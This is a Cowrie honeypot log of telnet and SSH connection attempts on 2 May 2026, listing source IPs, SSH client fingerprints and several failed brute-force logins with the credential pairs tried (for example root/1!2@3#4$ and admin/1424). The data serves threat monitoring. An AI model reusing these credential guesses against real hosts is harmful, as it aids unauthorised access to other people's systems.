{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58794,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4421d62fb5d","protocol":"telnet","message":"New connection: 64.227.101.30:58794 (10.17.0.5:23) [session: d4421d62fb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:35.011742Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53218,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fa53d78a619","protocol":"telnet","message":"New connection: 64.227.101.30:53218 (10.17.0.5:23) [session: 7fa53d78a619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:38.795122Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36648,"dst_ip":"10.17.0.5","dst_port":23,"session":"184fef157048","protocol":"telnet","message":"New connection: 64.227.101.30:36648 (10.17.0.5:23) [session: 184fef157048]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:47.011728Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":2677,"dst_ip":"10.17.0.5","dst_port":22,"session":"afd9d81bed98","protocol":"ssh","message":"New connection: 49.247.36.49:2677 (10.17.0.5:22) [session: afd9d81bed98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.097578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.102521Z","src_ip":"49.247.36.49","session":"afd9d81bed98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.217.56","src_port":46788,"dst_ip":"10.17.0.5","dst_port":22,"session":"850e131efdc3","protocol":"ssh","message":"New connection: 78.40.217.56:46788 (10.17.0.5:22) [session: 850e131efdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.242085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.247279Z","src_ip":"78.40.217.56","session":"850e131efdc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.308053Z","src_ip":"49.247.36.49","session":"afd9d81bed98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.378557Z","src_ip":"78.40.217.56","session":"850e131efdc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"test","message":"login attempt [testing/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:52.936124Z","src_ip":"78.40.217.56","session":"850e131efdc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1!2@3#4$","message":"login attempt [root/1!2@3#4$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:53.158540Z","src_ip":"49.247.36.49","session":"afd9d81bed98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:54.070496Z","src_ip":"78.40.217.56","session":"850e131efdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:54.366642Z","src_ip":"49.247.36.49","session":"afd9d81bed98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41422,"dst_ip":"10.17.0.5","dst_port":23,"session":"316dc1fbd687","protocol":"telnet","message":"New connection: 64.227.101.30:41422 (10.17.0.5:23) [session: 316dc1fbd687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:52:55.998715Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47074,"dst_ip":"10.17.0.5","dst_port":23,"session":"a30d8809b69e","protocol":"telnet","message":"New connection: 64.227.101.30:47074 (10.17.0.5:23) [session: a30d8809b69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:05.688665Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48636,"dst_ip":"10.17.0.5","dst_port":23,"session":"11c9d02099c9","protocol":"telnet","message":"New connection: 64.227.101.30:48636 (10.17.0.5:23) [session: 11c9d02099c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:08.716628Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47702,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc49a281fd8d","protocol":"telnet","message":"New connection: 68.183.198.12:47702 (159.203.135.109:23) [session: dc49a281fd8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:09.073561Z"}
{"eventid":"cowrie.session.closed","duration":34.78883910179138,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:09.800447Z","src_ip":"64.227.101.30","session":"d4421d62fb5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.453553438186646,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:16.248581Z","src_ip":"64.227.101.30","session":"7fa53d78a619","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.65877652168274,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:25.657346Z","src_ip":"64.227.101.30","session":"316dc1fbd687","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.93362236022949,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:27.945236Z","src_ip":"64.227.101.30","session":"184fef157048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.08435773849487,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:40.772859Z","src_ip":"64.227.101.30","session":"a30d8809b69e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.57719373703003,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:45.293711Z","src_ip":"64.227.101.30","session":"11c9d02099c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.439350843429565,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:53:53.512796Z","src_ip":"68.183.198.12","session":"dc49a281fd8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39680,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec39d5f96591","protocol":"telnet","message":"New connection: 64.227.101.30:39680 (10.17.0.5:23) [session: ec39d5f96591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:02.725317Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":2354,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c114862dc4c","protocol":"ssh","message":"New connection: 49.247.36.49:2354 (10.17.0.5:22) [session: 2c114862dc4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:03.743102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:03.749012Z","src_ip":"49.247.36.49","session":"2c114862dc4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:03.955205Z","src_ip":"49.247.36.49","session":"2c114862dc4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!@#123","message":"login attempt [root/abcd!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:04.809827Z","src_ip":"49.247.36.49","session":"2c114862dc4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:06.020198Z","src_ip":"49.247.36.49","session":"2c114862dc4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42142,"dst_ip":"10.17.0.5","dst_port":23,"session":"15d5a115e833","protocol":"telnet","message":"New connection: 64.227.101.30:42142 (10.17.0.5:23) [session: 15d5a115e833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:12.324775Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42500,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc536b0312af","protocol":"telnet","message":"New connection: 64.227.101.30:42500 (10.17.0.5:23) [session: dc536b0312af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:12.701752Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42812,"dst_ip":"10.17.0.5","dst_port":23,"session":"2512b50c13ba","protocol":"telnet","message":"New connection: 64.227.101.30:42812 (10.17.0.5:23) [session: 2512b50c13ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:13.706204Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40938,"dst_ip":"10.17.0.5","dst_port":23,"session":"62b4af900455","protocol":"telnet","message":"New connection: 64.227.101.30:40938 (10.17.0.5:23) [session: 62b4af900455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:25.277559Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":39650,"dst_ip":"159.203.135.109","dst_port":23,"session":"88ad634754ee","protocol":"telnet","message":"New connection: 67.23.227.170:39650 (159.203.135.109:23) [session: 88ad634754ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:28.305108Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.65.236.27","src_port":14714,"dst_ip":"159.203.135.109","dst_port":23,"session":"7615a5d2d43a","protocol":"telnet","message":"New connection: 202.65.236.27:14714 (159.203.135.109:23) [session: 7615a5d2d43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:35.584674Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16969,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c5ee9560c9b","protocol":"ssh","message":"New connection: 2.57.121.112:16969 (159.203.135.109:22) [session: 0c5ee9560c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:37.114029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:37.118729Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:37.219903Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82759070396423,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:37.552769Z","src_ip":"64.227.101.30","session":"ec39d5f96591","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1424","message":"login attempt [admin/1424] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:37.697943Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1418","message":"login attempt [admin/1418] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:38.802307Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"141284","message":"login attempt [admin/141284] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:39.906447Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.100871801376343,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:40.378296Z","src_ip":"64.227.101.30","session":"62b4af900455","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"141277","message":"login attempt [admin/141277] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:41.010840Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"14101978","message":"login attempt [admin/14101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:42.115593Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.468573808670044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:42.793194Z","src_ip":"64.227.101.30","session":"15d5a115e833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:43.219196Z","src_ip":"2.57.121.112","session":"0c5ee9560c9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6924322fad80","protocol":"telnet","message":"New connection: 64.227.101.30:51966 (10.17.0.5:23) [session: 6924322fad80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:45.244363Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c6545eaad5c","protocol":"telnet","message":"New connection: 64.227.101.30:51880 (10.17.0.5:23) [session: 5c6545eaad5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:47.044239Z"}
{"eventid":"cowrie.session.closed","duration":12.577779531478882,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:48.162324Z","src_ip":"202.65.236.27","session":"7615a5d2d43a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.32113695144653,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:53.022776Z","src_ip":"64.227.101.30","session":"dc536b0312af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.79961800575256,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:53.505687Z","src_ip":"64.227.101.30","session":"2512b50c13ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":49632,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f13e7d098a2","protocol":"ssh","message":"New connection: 216.155.93.75:49632 (10.17.0.5:22) [session: 2f13e7d098a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:54.225416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:54.229585Z","src_ip":"216.155.93.75","session":"2f13e7d098a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:54.381406Z","src_ip":"216.155.93.75","session":"2f13e7d098a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"qwerty","message":"login attempt [dev/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:55.024777Z","src_ip":"216.155.93.75","session":"2f13e7d098a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:56.181039Z","src_ip":"216.155.93.75","session":"2f13e7d098a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.148","src_port":64102,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aff49df5cbb","protocol":"ssh","message":"New connection: 198.235.24.148:64102 (159.203.135.109:22) [session: 5aff49df5cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:54:59.977396Z"}
